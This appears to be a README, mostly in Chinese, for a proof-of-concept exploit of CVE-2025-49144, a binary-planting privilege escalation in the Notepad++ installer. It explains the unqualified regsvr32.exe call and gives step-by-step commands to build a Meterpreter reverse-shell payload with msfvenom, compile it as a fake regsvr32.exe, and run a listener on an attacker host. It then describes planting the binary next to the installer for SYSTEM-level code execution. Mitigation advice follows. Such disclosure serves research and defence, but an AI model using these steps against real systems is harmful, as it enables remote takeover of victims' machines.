notepad-v8.8.1-LPE-CVE-

CVE-2025-49144 * Notepad++ v8.8.1 * SYSTEM-level POC

📌 CVE-2025-49144 是一个高危本地权限提升漏洞，存在于 Notepad++ v8.8.1 及之前版本的安装程序中。该漏洞源于安装过程中不受控制的可执行文件搜索路径行为，允许本地攻击者通过将恶意可执行文件放置在安装程序所在的同一目录中，获得系统级权限。

⚙️ 漏洞原理 – 逐步说明：

🧱 1. 安装程序出了什么问题？

Notepad++ 安装程序（v8.8.2 之前）调用 regsvr32.exe 注册某些组件，但未提供完整路径（如 C:\Windows\System32\regsvr32.exe）。而是直接运行：

regsvr32.exe some_dll

📂 2. Windows 搜索路径行为：当可执行文件未指定完整路径启动时，Windows 使用特定搜索顺序查找文件：

• 启动应用程序的文件夹（例如“下载”）
• 系统文件夹 (System32)
• Windows 文件夹
• 当前工作目录
• PATH 环境变量中的路径

因此，如果伪造的 regsvr32.exe 被放置在安装程序的同一文件夹（例如“下载”），Windows 会优先使用它而非真实的 regsvr32.exe。

💣 3. 利用方法：

• 攻击者将恶意 regsvr32.exe 放置在合法的 Notepad++ 安装程序同一文件夹（例如受害者的“下载”文件夹）。
• 受害者运行安装程序（认为安全）。
• 安装程序调用 regsvr32.exe，但实际执行了同一文件夹中的恶意版本——并以 SYSTEM 权限运行（因为安装程序通常请求管理员权限）。
• 攻击者的载荷现在以 NT AUTHORITY\SYSTEM 身份运行。

⚙️ 复现步骤：

Get shell code: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=4444 -f c > shellcode.txt Download the file "regsvr32_loader.c" and edit it. Paste entire shellcode from shellcode.txt in the mentioned comment. Compile to regsvr32.exe: x86_64-w64-mingw32-gcc regsvr32_loader.c -o regsvr32.exe -mwindows Deploy a meterpreter listner: msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.9 set LPORT 4444 run Download a vulnerable version of Notepad++ i.e. prior to 8.8.1 as 8.8.1 is now auto-updated.For PoC I have used Notepad++ v8.6.8 Move the file "regsvr32.exe" into the windows system in the same folder of the notepad++ installer, probably in the Downloads folder. Complete the Installation of the Notepad++ installer. Note: This is a PoC thus tested with Windows defender and real time protection disabled.

✅ 缓解措施

用户和管理员应：

• 升级到 Notepad++ v8.8.2 或更高版本
• 将软件安装限制为受信任的管理员
• 使用 AppLocker、WDAC 或软件限制策略 (SRP) 来：
  • 阻止从用户可写文件夹（例如“下载”）执行
  • 防止从未经授权的路径执行不受信任的二进制文件（如 regsvr32.exe）
  • 强制可执行文件进行代码签名

安全团队应定期审计安装路径、监控写入权限，并观察安装程序执行期间的行为，以减少攻击面。

🏷️ 许可证 MIT 许可证 — 仅限教育、研究和防御用途。

🤝 贡献 欢迎提交拉取请求 — 改进检测、添加功能或提出修复建议。